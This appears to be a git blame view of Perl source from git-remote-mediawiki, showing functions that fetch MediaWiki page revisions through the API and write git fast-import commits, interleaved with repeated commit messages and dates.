chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
sub fetch_mw_revisions_for_page {
|
|
|
|
my $page = shift;
|
|
|
|
my $id = shift;
|
|
|
|
my $fetch_from = shift;
|
|
|
|
my @page_revs = ();
|
|
|
|
my $query = {
|
|
|
|
action => 'query',
|
|
|
|
prop => 'revisions',
|
|
|
|
rvprop => 'ids',
|
|
|
|
rvdir => 'newer',
|
|
|
|
rvstartid => $fetch_from,
|
|
|
|
rvlimit => 500,
|
|
|
|
pageids => $id,
|
2013-09-24 21:32:30 +02:00
|
|
|
|
|
|
|
# Let MediaWiki know that we support the latest API.
|
|
|
|
continue => '',
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
};
|
|
|
|
|
|
|
|
my $revnum = 0;
|
|
|
|
# Get 500 revisions at a time due to the mediawiki api limit
|
|
|
|
while (1) {
|
|
|
|
my $result = $mediawiki->api($query);
|
|
|
|
|
|
|
|
# Parse each of those 500 revisions
|
|
|
|
foreach my $revision (@{$result->{query}->{pages}->{$id}->{revisions}}) {
|
|
|
|
my $page_rev_ids;
|
|
|
|
$page_rev_ids->{pageid} = $page->{pageid};
|
|
|
|
$page_rev_ids->{revid} = $revision->{revid};
|
|
|
|
push(@page_revs, $page_rev_ids);
|
|
|
|
$revnum++;
|
|
|
|
}
|
2013-09-24 21:32:30 +02:00
|
|
|
|
|
|
|
if ($result->{'query-continue'}) { # For legacy APIs
|
|
|
|
$query->{rvstartid} = $result->{'query-continue'}->{revisions}->{rvstartid};
|
|
|
|
} elsif ($result->{continue}) { # For newer APIs
|
|
|
|
$query->{rvstartid} = $result->{continue}->{rvcontinue};
|
|
|
|
$query->{continue} = $result->{continue}->{continue};
|
|
|
|
} else {
|
|
|
|
last;
|
|
|
|
}
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
if ($shallow_import && @page_revs) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} " Found 1 revision (shallow import).\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
@page_revs = sort {$b->{revid} <=> $a->{revid}} (@page_revs);
|
|
|
|
return $page_revs[0];
|
|
|
|
}
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} " Found ${revnum} revision(s).\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
return @page_revs;
|
|
|
|
}
|
|
|
|
|
|
|
|
sub fetch_mw_revisions {
|
|
|
|
my $pages = shift; my @pages = @{$pages};
|
|
|
|
my $fetch_from = shift;
|
|
|
|
|
|
|
|
my @revisions = ();
|
|
|
|
my $n = 1;
|
|
|
|
foreach my $page (@pages) {
|
|
|
|
my $id = $page->{pageid};
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "page ${n}/", scalar(@pages), ': ', $page->{title}, "\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
$n++;
|
|
|
|
my @page_revs = fetch_mw_revisions_for_page($page, $id, $fetch_from);
|
|
|
|
@revisions = (@page_revs, @revisions);
|
|
|
|
}
|
|
|
|
|
|
|
|
return ($n, @revisions);
|
|
|
|
}
|
|
|
|
|
2012-11-29 18:00:55 +01:00
|
|
|
sub fe_escape_path {
|
|
|
|
my $path = shift;
|
|
|
|
$path =~ s/\\/\\\\/g;
|
|
|
|
$path =~ s/"/\\"/g;
|
|
|
|
$path =~ s/\n/\\n/g;
|
2013-06-14 15:50:30 +02:00
|
|
|
return qq("${path}");
|
2012-11-29 18:00:55 +01:00
|
|
|
}
|
|
|
|
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
sub import_file_revision {
|
|
|
|
my $commit = shift;
|
|
|
|
my %commit = %{$commit};
|
|
|
|
my $full_import = shift;
|
|
|
|
my $n = shift;
|
2012-06-27 16:21:29 +02:00
|
|
|
my $mediafile = shift;
|
|
|
|
my %mediafile;
|
|
|
|
if ($mediafile) {
|
|
|
|
%mediafile = %{$mediafile};
|
|
|
|
}
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
|
|
|
my $title = $commit{title};
|
|
|
|
my $comment = $commit{comment};
|
|
|
|
my $content = $commit{content};
|
|
|
|
my $author = $commit{author};
|
|
|
|
my $date = $commit{date};
|
|
|
|
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} "commit refs/mediawiki/${remotename}/master\n";
|
|
|
|
print {*STDOUT} "mark :${n}\n";
|
|
|
|
print {*STDOUT} "committer ${author} <${author}\@${wiki_name}> " . $date->epoch . " +0000\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
literal_data($comment);
|
|
|
|
|
|
|
|
# If it's not a clone, we need to know where to start from
|
|
|
|
if (!$full_import && $n == 1) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} "from refs/mediawiki/${remotename}/master^0\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
if ($content ne DELETED_CONTENT) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} 'M 644 inline ' .
|
2013-06-14 15:50:30 +02:00
|
|
|
fe_escape_path("${title}.mw") . "\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
literal_data($content);
|
2012-06-27 16:21:29 +02:00
|
|
|
if (%mediafile) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} 'M 644 inline '
|
2012-11-29 18:00:55 +01:00
|
|
|
. fe_escape_path($mediafile{title}) . "\n";
|
2012-06-27 16:21:29 +02:00
|
|
|
literal_data_raw($mediafile{content});
|
|
|
|
}
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} "\n\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
} else {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} 'D ' . fe_escape_path("${title}.mw") . "\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
